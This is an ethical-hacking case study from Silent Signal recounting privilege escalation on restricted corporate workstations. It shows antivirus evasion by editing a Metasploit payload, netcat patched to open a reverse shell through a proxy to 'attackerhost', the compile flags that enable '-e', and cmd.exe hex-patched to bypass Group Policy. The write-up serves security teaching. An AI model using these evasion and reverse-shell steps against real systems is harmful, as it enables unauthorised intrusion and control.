SILENT SIGNAL
VÉSZJELZÉS HELYETT...

Story of a Cient-Side Attack

1. Introduction

During an ethical hacking project the experts of Silent Signal LLC were mandated to elevate their privileges on the restricted workstations of the client. Taking into account the relatively strict host and network controls in place we decided to share some of our experiences gathered during the project. Naturally, in accordance with our contracts the identifying information about the client and other sensitive data was removed or changed.

2. Network

Our target workstation wasn't directly connected to the Internet, none of our TCP, UDP or ICMP packets got out of the corporate network. Revealing this fact in itself required little tricks, because the Group Policy restricted the use of the Windows command shell, Registry editor and several other applications. It should be noted though that these restrictions are advisorial and in practice only a Registry entry is checked by the restricted program itself, so for example the Registry remains available even if the Registry editor is restricted.

In the same way command-line programs - like batch scripts - will run even if the use of the command shell is restricted. Batch (.BAT) files were mainly used in the time of DOS but the backward compatiblity of Windows allows us to still use them. We can easily create new file using Notepad with .BAT extension and double-click it to run all the commands inside it.

Using the above technique we found that we can't send arbitrary packets toward the Internet. However, web browsing seemed functional - an obvious sign of the presence of a proxy server. Since Group Policy also disallowed us to view the browser settings we used the netstat command while browsing a slow website to determine the address and appropriate port of the proxy server.

3. Applications

During the reconnaisance phase of the project we found that the installed browser used an out-of-date plugin that allows remote code execution if a user visits a specially crafted web page. An exploit for this vulnerability was available in the Metasploit Framework that started a simple webserver and delivered the exploit code to the connecting clients. However the client protected its infraastructure with multi-layered anti-virus software that cought the exploit generated by Metasploit as it went through the proxy.

The exploit payload contained the "exploit" string, so we gave it a try and replaced all this string with "xxxxxxx" using the UNIX utility called sed hoping that the file structure and the progam offsets remain intact.

This way the exploit did indeed remain functional and successfuly passed all the anti-virus checks. We used the VirusTotal service to test what percentage of the anti-virus software keep recognize the malicious code after this "serious transformation" - as it turned out this 7-byte change caused the detection rate to drop to one-third of the original.

4. Contact with the Outside World

At this point we took over the users browser and were able to run "arbitrary code" - at least the industry standard calc.exe - through it. Unfortunately this might be less interessting for an IT leader or a top manager taking into account that the network was meant to be "separated" from the Internet.

Our first thought would be using Meterpreter but at time of this assessment this tool didn't support communication through proxies and also the anti-virus filters would probably cause some trouble.

In the end we chose to modify the Windows port of the netcat utility and recompile it on our own Linux machines using MinGW32. This was neccessary because of two things:

1. Netcat is usually ran with multiple command line arguments, but our exploit was only able to download and run a single .exe file without parameters. So we patched the source code to use hard-coded parameters after start. This could be achieved with a few lines of code similar to these:

```
argc = 5;
argv = malloc(sizeof(char*)*argc);

argv[0] = "nc";
argv[1] = "PROXY_ADDRESS";
argv[2] = "PROXY_PORT";
argv[3] = "-e";
argv[4] = "SHELL";
```

2. Using a proxy required to send appropriate HTTP headers after the successful TCP handshake but before binding the shell input and output to the connection. Searching for the call to the connect() API we stumbled upon the doconnect() function which we extended with the following codelines:

```
char *s2buf;

//...

s2buf="CONNECT attackerhost:attackerport HTTP/1.1\r\nHost
   :attackerhost\r\n\r\n";
send(nnetfd,s2buf,strlen(s2buf),0);
```

Since we don't usually compile this common - precompiled binary is available to several platforms - tool by ourselves at the first test run we faced the problem that the netcat utility doesn't support the -e switch required to forward our shell if the GAPING_SECURITY_HOLE macro wasn't defined at compile time. The full command for compilation looked like this:

```
/usr/bin/i586-mingw32msvc-gcc netcat.c -lws2_32 \
-o nc.exe -DGAPING_SECURITY_HOLE
```

5. Ghost in the Shell

The created payload successfully connected to our server but terminated the connection immediately since the used cmd.exe command shell was restricted by the Group Policy. Using command.com instead of cmd.exe might have been a possible alternative, but this solution was blocked by some other measures. We decided to modify the command shell so that it won't check if it has permission to run. We exfiltrated the original cmd.exe from the system via a whitelisted file-sharing website and looked for the unicode string pointing to the Registry key in question (DisableCMD). We modified the string with a hexeditor to "DisableCQD" so the program would not find the Registry key causing termination.

```
08ff 1528 10d2 4ae9  5605 ffff 4400 6900  | ...(..J.V...D.i.
7300 6100 6200 6c00  6500 4300 5100 4400  | s.a.b.l.e.C.Q.D.
```

There was only one thing left: placing the modified shell into the system on the top of the exploit. Instead of messing with the exploit logic we followed the more "hackish" way and placed our shell inside our previously compiled nc.exe. To do this we wrote a simple Python script that transformed arbitrary binaries to series of standard C fwrite() calls, and placed the generated code into the source of netcat in such way that the recompiled, stuffed .exe would drop the modified shell to a world-writable temporary directory then run and forward it through the proxy to us.